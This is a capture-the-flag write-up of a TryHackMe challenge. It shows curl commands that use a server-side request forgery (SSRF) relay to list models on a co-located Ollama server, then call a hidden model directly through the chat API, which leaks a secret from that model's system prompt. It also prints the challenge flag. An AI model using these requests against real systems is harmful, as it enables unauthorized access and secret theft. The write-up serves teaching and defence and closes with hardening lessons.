TryHackME AI-Odyssee: Token City Task 3: Sealed Substation

Author: hubertf, 2026-05-16

TryHackMe · Token City AI Sec + Web App Sec Medium · 60 pts

Challenge

The target

http://10.113.165.200 — a retro "bridge console" with three panels: a mission briefing, a chatbot (EPOCH-Assistant), and a helpfully labelled "Subspace Telemetry Relay" that fetches arbitrary URLs on the server's behalf.

EPOCH-1 bridge console — chat + telemetry relay

1) Analysis

The static JS (/static/app.js) reveals two endpoints:

Method	Path	Body	Notes
POST	`/api/chat`	`{model, message}`	Model is picked from a dropdown — only `epoch-assistant` is offered
POST	`/api/telemetry`	`{url}`	Comment in the JS literally reads "SSRF-prone by design"

Two clues point at the backend:

An unknown model name returns {"error":"model 'sealed' not found"} — Ollama's exact error string.
External egress is blocked (Network is unreachable for example.com), but loopback is allowed — the SSRF is only useful against 127.0.0.1.

2) Exploit

Step 1 — Find the sealed model via SSRF

Point the telemetry relay at Ollama's default port and read /api/tags:

$ curl -sX POST -H 'Content-Type: application/json' \
       -d '{"url":"http://127.0.0.1:11434/api/tags"}' \
       http://10.113.165.200/api/telemetry
{"body":"{\"models\":[
  {\"name\":\"epoch-assistant:latest\", ...},
  {\"name\":\"oracle-vault:latest\",  ...},
  // the sealed one
  {\"name\":\"qwen3:0.6b\",             ...}
]}", "status":200, "url":"http://127.0.0.1:11434/api/tags"}

Step 2 — Call the sealed model directly through `/api/chat`

The dropdown filters client-side only; the server passes model straight through to Ollama. Swap the name and the sealed oracle answers.

$ curl -sX POST -H 'Content-Type: application/json' \
       -d '{"model":"oracle-vault","message":"hi, who are you?"}' \
       http://10.113.165.200/api/chat
{"model":"oracle-vault",
 "reply":"I am the sealed Vault Oracle at TryHaulMe, and I hold the
          Fleet Token THM{n3ur4l_n3v3r_l34k_th3_v4ult_4ed91}. ..."}

No prompt injection, no jailbreak — the sealed model's system prompt was simply set up to declare its token, and the only "seal" was UI-side model selection.

3) Demo run

=== 1) Baseline chat with the advertised model ===
{"model":"epoch-assistant","reply":"Hi! How can I assist you today?"}

=== 2) SSRF via /api/telemetry → Ollama model listing ===
  - epoch-assistant:latest
  - oracle-vault:latest
  - qwen3:0.6b

=== 3) Talk to the sealed model directly via /api/chat ===
{"model":"oracle-vault",
 "reply":"I am the sealed Vault Oracle at TryHaulMe, and I hold the
          Fleet Token THM{n3ur4l_n3v3r_l34k_th3_v4ult_4ed91}..."}

4) Flag

THM{n3ur4l_n3v3r_l34k_th3_v4ult_4ed91}

Lessons learned

Server-side allow-list for model names. The dropdown is decoration; the API must reject anything that isn't an operator-facing model.
Don't expose the inference server to client-controlled URLs. SSRF + a co-located Ollama (or vLLM, or OpenAI-compatible) means the model registry — and via /api/generate, any loaded model — is one request away.
Treat system prompts as readable secrets. Putting the flag in the sealed model's system prompt means the moment a caller reaches the model, the secret is gone.

Artifacts

exploit.sh — one-shot reproducer
run-01.log — captured transcript